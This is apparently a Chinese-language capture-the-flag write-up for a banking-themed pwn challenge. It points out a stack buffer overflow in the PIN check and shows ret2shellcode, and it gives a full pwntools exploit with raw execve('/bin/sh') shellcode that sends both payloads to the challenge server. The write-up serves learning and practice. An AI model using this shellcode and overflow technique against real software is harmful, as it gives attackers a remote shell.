又get到新知识,可以,记录下,
先查看c代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define PIN_SIZE 4
#define NAME_SIZE 32
int verify_pin(char* pin) {
char pin_check[PIN_SIZE+1];
printf("Please verify your PIN first:\nPIN: ");
fgets(pin_check, NAME_SIZE+1, stdin);
for(int i = 0; i < 4; i ++) {
if(pin[i] != pin_check[i])
return 0;
}
return 1;
}
char name[NAME_SIZE+1];
char pin[PIN_SIZE+1];
int main() {
gid_t gid = getegid();
setresgid(gid, gid, gid);
setbuf(stdout, NULL);
printf("Welcome to our Online Banking system!\n");
printf("To use our system, please register an account with a 4-character PIN:\n");
printf("Name: ");
fgets(name, NAME_SIZE+1, stdin);
printf("PIN: ");
fgets(pin, PIN_SIZE+1, stdin);
while(getchar() != '\n');
unsigned int balance = 0;
printf("Thank you for registering! You may now use our service.\n");
char cmd = '\x00';
while(cmd != 'q') {
printf("\nWhat would you like to do?\n d - deposit\n w - withdraw\n q - quit\n");
cmd = getchar();
getchar();
if(cmd == 'd') {
if(verify_pin(pin)) {
char deposit_s[16];
printf("How much would you like to deposit?\n");
fgets(deposit_s, 16, stdin);
balance += atoi(deposit_s);
} else {
printf("Invalid PIN!\nFor security reasons, your account is now being locked.\n");
cmd = 'q';
}
} else if(cmd == 'w') {
if(verify_pin(pin)) {
char deposit_s[16];
printf("How much would you like to withdraw?\n");
fgets(deposit_s, 16, stdin);
balance -= atoi(deposit_s);
} else {
printf("Invalid PIN!\nFor security reasons, your account is now being locked.\n");
cmd = 'q';
}
} else if(cmd != 'q') {
printf("Unknown command!\n");
}
if(cmd == 'd' || cmd == 'w') {
printf("Your current balance is %u\n",balance);
}
}
printf("Have a nice day! Please come again soon.\n");
return 0;
}
发觉verify_pin这里有问题,char pin_check[PIN_SIZE+1];这是定义 fgets(pin_check, NAME_SIZE+1, stdin); fgets却输入了name_size,
#define PIN_SIZE 4
#define NAME_SIZE 32
所以这里是可以明显的溢出攻击,查看整个代码,发觉根本就没有flag这个东东,所以这道题肯定是要getshell,那如何getshell呢,将verify的函数的返回地址改为system('/bin/sh'),然而根本就没有这个地址,所以这道题是我一个不知道的地方,百度查了下这种叫ret2shellcode,返回到shellcode,看了大佬writeup得知,name那里get了好大,可以容纳下shellcode,所以就是返回到name的地址,name里写shellcode,进而getshell,逻辑清晰了就来写把,打开ida获取到name的地址006010A0
shellcode从网站获取,或者自己写
#!/usr/bin/env python
# coding=utf-8
from pwn import *
payload="a"*9+p64(0x00000000deadbeef)+p64(0x0000000006010a0)
payload2="\x6a\x3b\x58\x99\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
p=remote("problem1.tjctf.org",8005)
print p.recvuntil("Name: ")
p.sendline(payload2)
print p.recvuntil("PIN: ")
p.sendline("aaaa")
print p.recvuntil("quit")
p.sendline("d")
print p.recvuntil("PIN: ")
p.sendline(payload)
p.interactive()
贴上python脚本,加上文件下载地址
链接: https://pan.baidu.com/s/1eiWyjg_iT_R0AHtuq0ijqg 密码: n8nd